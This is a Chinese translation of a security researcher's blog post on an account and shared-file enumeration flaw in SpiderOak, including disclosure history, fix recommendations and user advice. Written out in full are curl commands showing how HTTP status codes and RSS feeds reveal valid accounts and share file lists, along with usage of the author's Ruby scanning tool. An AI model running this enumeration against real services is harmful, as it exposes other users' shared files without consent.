揭秘SpiderOak共享文件枚举漏洞:技术分析与防护指南

本文详细分析了SpiderOak云存储服务的公共共享枚举漏洞,通过HTTP状态码和RSS馈送机制可枚举有效账户及共享文件,包含技术原理、漏洞复现步骤及修复建议,涉及实际代码示例和扫描工具使用方法。

Spidering SpiderOak

大约两年前,我曾研究过如何枚举Amazon Buckets和Mobile Me上公共共享的内容。2012年初我开始使用SpiderOak,该服务也提供了与他人共享数据的方式,因此我决定研究其工作机制是否同样可被枚举。长话短说,确实可以。2012年3月初,我联系了SpiderOak的安全团队,提供了我发现的信息以及演示工作原理的示例代码。他们确认了邮件并表示将着手修复。

2012年4月初,我考虑在BSides London会议上就此研究进行演讲,因此询问SpiderOak修复可能的时间安排,因为我希望进行演讲但不希望在有修复进行时透露任何信息。4月13日,我被告知修复应在BSides之前完成,并且他们乐意看到演讲。最终我改为演讲了"Breaking in to Security",并逐渐忘记了SpiderOak的事。

大约一周前,Rapid 7发布了关于Amazon Buckets的研究,引发的关注让我想起SpiderOak的工作,检查发现漏洞仍然存在,因此在此分享。

工作原理

枚举的工作原理是通过检查HTTP返回码来识别有效账户,然后查找RSS馈送来发现有效共享。具体步骤如下。

如果您请求一个存在账户上的共享,即使共享不存在,也会返回200:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ curl -I https://spideroak.com/browse/share/digi_public/not_exist
HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Wed, 03 Apr 2013 22:15:10 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 6813
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=8640000; includeSubDomains
Set-Cookie: uid=AAAAKlFcqe69ciDRBEYWAg==; expires=Thu, 03-Apr-14 22:15:10 GMT; path=/

但对于不存在的账户,您会得到404:

1
2
3
4
5
6
7
8
9
$ curl -I https://spideroak.com/browse/share/digi_public_not_exist/not_exist
HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Date: Wed, 03 Apr 2013 22:16:06 GMT
Content-Type: text/html
Content-Length: 1696
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: uid=AAAAKlFcqia9ciDRBEaQAg==; expires=Thu, 03-Apr-14 22:16:06 GMT; path=/

因此,您现在可以遍历用户名列表,并对任何返回200的账户进行命中记录。

下一步是枚举共享,为此请求您要检查的共享,并在返回的页面中搜索其标题中的RSS链接。

1
2
3
4
curl -s https://spideroak.com/browse/share/digi_public/does_exist|grep RSS
<link rel="alternate" type="application/rss+xml" title="RSS" href="/share/XXXWO2K7OB2WE3DJMM/does_exist/?rss" />
curl -s https://spideroak.com/browse/share/digi_public/not_exist|grep RSS
<link rel="alternate" type="application/rss+xml" title="RSS" href="/share/XXXWO2K7OB2WE3DJMM/not_exist/?rss" />

所有共享,无论是否存在,其标题中都有RSS链接,但如果您检查RSS链接,有效共享返回200,不存在的共享返回404。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
$ curl -I https://spideroak.com/share/XXXWO2K7OB2WE3DJMM/does_exist/?rss
HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Wed, 03 Apr 2013 22:30:53 GMT
Content-Type: application/atom+xml; charset=utf-8
Connection: keep-alive
Content-length: 1773
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=8640000; includeSubDomains
Set-Cookie: uid=AAAAKlFcrZ21fSDQBCdjAg==; expires=Thu, 03-Apr-14 22:30:53 GMT; path=/
$ curl -I https://spideroak.com/share/XXXWO2K7OB2WE3DJMM/not_exist/?rss
HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Date: Wed, 03 Apr 2013 22:31:18 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Content-length: 108
Set-Cookie: uid=AAAAKlFcrba1fSDQBCd8Ag==; expires=Thu, 03-Apr-14 22:31:18 GMT; path=/

因此,您现在可以识别有效共享。

如果您查看从有效共享获取的RSS馈送,它包含共享中所有文件的列表:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ curl https://spideroak.com/share/XXXWO2K7OB2WE3DJMM/does_exist/?rss
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>does_exist: SpiderOak Share Feed by digi_public</title>
<link rel="alternate" type="text/html" href="https://spideroak.com/browse/share/digi_public/does_exist" />
<link rel="self" type="application/atom+xml" href="https://spideroak.com/browse/share_feed/digi_public/does_exist" />

<updated>2009-05-05T17:56:37Z</updated>
<id>https://spideroak.com/browse/share_feed/digi_public/does_exist</id>

<entry>
    <title>a_text_file.txt</title>
    <link href="/share/digi_public/does_exist/Users/robin/Desktop/does_exist/a_text_file.txt" />
    <id>/share/digi_public/does_exist/Users/robin/Desktop/does_exist/a_text_file.txt</id>
    <updated>2012-06-21T07:54:23Z</updated>
    <author><name>digi_public</name></author>
    <content type="html" xml:lang="en"><![CDATA[
        <p><img src="/static/browse/icons/genfile.gif" /></p>
        <p>Filename: a_text_file.txt<br>
        Size: 2915999<br>
        Date created: 2012-06-21 07:54:23<br>
        Date modified: 2012-06-21 07:54:23</p>
    ]]></content>
</entry>

<entry>
    <title>another_file.zip</title>
    <link href="/share/digi_public/does_exist/Users/robin/Desktop/does_exist/another_file.zip" />
    <id>/share/digi_public/does_exist/Users/robin/Desktop/does_exist/another_file.zip</id>
    <updated>2009-05-05T17:56:37Z</updated>
    <author><name>digi_public</name></author>
    <content type="html" xml:lang="en"><![CDATA[
        <p><img src="/static/browse/icons/genfile.gif" /></p>
        <p>Filename: another_file.zip<br>
        Size: 183611<br>
        Date created: 2012-06-21 07:32:22<br>
        Date modified: 2009-05-05 17:56:37</p>
    ]]></content>
</entry>

</feed>

就这样,您可以阅读RSS文件并生成准备下载的文件列表。

我发现了什么?

不幸的是,虽然我没有进行深入搜索,但发现的内容并不多。我从一个包含2268个常见名称的列表开始,运行后找到了615个有效账户,我认为这是一个良好的开端。然后我开始用常见的共享/文件夹名称列表对这些账户进行测试。在Twitter上朋友的帮助下,我建立了一个包含58个潜在名称的列表,您可以从Pastebin获取此列表。

我将这58个文件夹对每个615个账户进行了测试,得到了14个命中,大约2.3%的命中率。虽然不高,但足以证明过程有效。从这14个命中中,有97个文件可用。我没有下载任何文件,但从名称来看,大多数是图像,主要来自某人的圣诞派对。还有一个Michael Buble的2011圣诞专辑、一本CISSP电子书和一个可能是色情内容的视频。

我还对一些大公司名称进行了快速搜索,发现账户有效但没有共享。名称匹配公司并不意味它们属于这些公司,但如果您测试的公司恰好有成功匹配,这可能是有用的信息。

SpiderOak如何修复此问题?

我认为需要做几件事来修复此问题。首先是修复实际漏洞,请求存在账户上不存在的共享应返回404,就像请求不存在账户上的共享一样。这将消除枚举账户的能力,从而大大增加枚举共享所需的请求数量——在这种情况下是2268 * 58对比615 * 58。与此同时,确保所有无效请求返回的头部匹配。我见过两种情况,两种请求都生成404,但一个头部的顺序不同,或者只是不同的头部,这样的差异也可用于枚举。

接下来需要实施监控和锁定。为了进行这项研究,我最初扫描了2268个账户,然后检查了615个账户的58个共享,总共37938个请求。这些请求在几小时内完成,没有锁定或服务降级。合法用户绝不需要在如此广泛的账户范围内进行接近此数量的请求,因此检测此类行为并简单锁定我的IP应该很简单。是的,我可以转移到另一个IP继续,但如果阈值足够低,移动足够多次以获取有用数据就变得不切实际。再加上一些警报和有人监视警报,如果有人坚持尝试绕过锁定,人工干预也可能有所帮助。

保护自己

如果您想保护自己,可以做一些简单的事情。首先,不要共享任何不必要的数椐,如果未共享,则应受到SpiderOak零知识原则的保护。如果您必须共享某些内容,请将共享名称视为密码并适当选择。一旦不再需要共享数据,请移除共享并取下数据。

最后,请记住,您放在网上的任何内容,尤其是在他人计算机上的内容,不再受您控制,因此请思考,您真的想把它放在那里吗?

共享安全吗?

在玩转所有这些时,我在思考共享如何工作以及如何与SpiderOak在网站上显示的隐私政策相关联。

“真正隐私"部分讲述了您的数据如何以只有您能访问的方式加密,SpiderOak员工无法访问您的数据,但我看不出这如何适用于共享。下一部分是我对系统工作原理的猜测,可能完全错误,但我还是要尝试一下。

由于共享数据不受我的主密码保护——不可能,因为我共享数据的朋友不知道我的密码——保护它的只有共享名称。这意味着我共享的任何数据立即变得比原来不安全,即使我从未将共享名称告诉任何人。

我认为员工有可能访问共享数据,方式如下。

共享由账户名称和共享名称标识,SpiderOak显然有系统上所有账户的列表,因此共享名称成为保护措施。当我使用桌面GUI时,我可以获取我设置的共享列表,这意味着该列表存储在服务器上的某个地方。有两个可能的位置,它可能在我输入密码时解锁的加密blob中,在这种情况下员工无法看到列表,或者它可能与我账户信息的其余部分一起明文存储。如果它不在加密blob中,那么任何能访问我账户详情的人都可以访问列表,从而访问我的共享文件。如果它是加密的,他们还能找到我的共享名称吗?Web日志呢?如果Web服务器记录请求,那么搜索日志以找到有效共享将是一项简单的任务。这将违背即使有物理访问,员工也无法访问我数据的声称。

我知道我在这里假设了一些事情,可能完全错误,但其他人也提到了他们对共享模型的不信任,以及其整个安全性基于 essentially 一个文件夹名称的事实。

安装/使用

经过所有这些,您想自己尝试吗?

下载Spider Finder版本1.0

tarball包含spider_finder脚本和我的常见文件夹名称列表,您必须提供自己的账户名称列表。

脚本是用Ruby编写的,只需解压并运行脚本,不需要特殊的gems。

不带参数运行会给出使用说明,但基本上您给它一个包含要尝试的账户列表和共享列表的文件。您可以要求它将所有发现记录到文件以及屏幕上,因此不必麻烦重定向输出。

一旦您运行了一次账户列表,您就可以挑出成功的账户,如果您想用不同的文件夹列表重新运行这些账户,可以使用–valid-accounts标志告诉脚本在检查共享之前不需要检查账户是否存在。

示例用法:

1
$ ./spider_finder.rb --log-file first_run.log common_names common_folders.txt

我还在使用SpiderOak吗?

我猜经过所有这些,您会认为我不再使用SpiderOak,但您错了。总体而言,我喜欢他们的想法和原则,即使它们有问题。我宁愿使用我考虑过其工作原理、发现局限性并决定它们可接受的东西。我可以转移到Dropbox,但他们有(有过?)更严重的问题。我可以转移到另一个竞争对手,但最终我会想知道它们如何工作,可能最终也会分析它们并发现不同的问题。

反馈

如果您发现任何错误或有意见,请通过联系页面上的详细信息与我联系。

如果您来自SpiderOak,我很乐意讨论问题,如果您想纠正我关于共享内部存储方式的问题,我很想了解。

感谢BruCON

创建此项目的时间由BruCON 5x5奖项慷慨赞助。

目录

  • 工作原理
  • 我发现了什么?
  • SpiderOak如何修复此问题?
  • 保护自己
  • 共享安全吗?
  • 安装/使用
  • 我还在使用SpiderOak吗?
  • 反馈

类别

  • Wifi
  • 网络
  • Metasploit
  • 常规

支持网站

我没有为此网站上的任何项目获得报酬,因此如果您想支持我的工作,可以通过使用下面的联盟链接来实现,我 either 获得账户积分或现金返还。通常只有几分钱,但它们都会累加。

请我喝一杯冰沙

所有内容由Robin Wood创建,除非另有说明

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计